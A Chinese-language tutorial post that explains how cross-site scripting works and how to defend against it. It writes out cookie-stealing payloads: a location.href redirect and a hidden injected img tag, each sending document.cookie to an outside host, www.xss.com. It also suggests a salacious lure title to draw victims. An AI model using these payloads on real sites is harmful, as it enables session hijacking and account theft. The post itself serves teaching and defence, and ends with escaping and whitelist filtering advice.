XSS攻擊原理及防護措施

1、XSS攻擊原理  javascript

  XSS是什麼?它的全名是:Cross-site scripting,爲了和CSS層疊樣式表區分因此取名XSS。是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。  html

  XSS攻擊的主要目的則是,想辦法獲取目標攻擊網站的cookie,由於有了cookie至關於有了seesion,有了這些信息就能夠在任意能接進互聯網的pc登錄該網站,並以其餘人的生份登錄,作一些破壞。預防措施,防止下發界面顯示html標籤,把</>等符號轉義 java

  舉例: 
 

  上面的代碼就是輸入一個網絡分享的圖片,我在src中直接寫入了javascript:alert('xss');操做成功後生成帖子,用IE六、7的用戶打開這個我發的這個帖子就會出現下圖的alert('xss')彈窗。 如圖: 


  固然我會將標題設計的很是吸引人點擊,好比 「陳冠希豔照又有流出2012版(20P無碼)」 ,這樣若是我將裏面的alert換成惡意代碼,好比: 
location.href='
http://www.xss.com?cookie='+document.cookie’;或者<a href='http://www.xss.com?cookie='+document.cookie>。用戶的cookie我也拿到了,若是服務端session沒有設置過時的話,我之後甚至拿這個cookie而不需用戶名密碼,就能夠以這個用戶的身份登陸成功了。
這裏的location.href只是處於簡單這樣作,若是作了跳轉這個帖子很快會被管理員刪除,可是若是我寫以下代碼,而且帖子的內容也是比較真實的,說不定這個帖子就會禍害不少人: 瀏覽器

var img = document.createElement('img');  
img.src='http://www.xss.com?cookie='+document.cookie;  
img.style.display='none';  
document.getElementsByTagName('body')[0].appendChild(img);  

  這樣就神不知鬼不覺的把當前用戶的cookie發送給了個人惡意站點,個人惡意站點經過獲取get參數就拿到了用戶的cookie。固然咱們能夠經過這個方法拿到用戶各類各樣的數據。安全

 

2、防護措施cookie

  • 當惡意代碼值被做爲某一標籤的內容顯示:在不須要html輸入的地方對html 標籤及一些特殊字符( 」 < > & 等等 )作過濾,將其轉化爲不被瀏覽器解釋執行的字符。
  • 當惡意代碼被做爲某一標籤的屬性顯示,經過用 「將屬性截斷來開闢新的屬性或惡意方法:屬性自己存在的 單引號和雙引號都須要進行轉碼;對用戶輸入的html 標籤及標籤屬性作白名單過濾,也能夠對一些存在漏洞的標籤和屬性進行專門過濾。
相關文章
相關標籤/搜索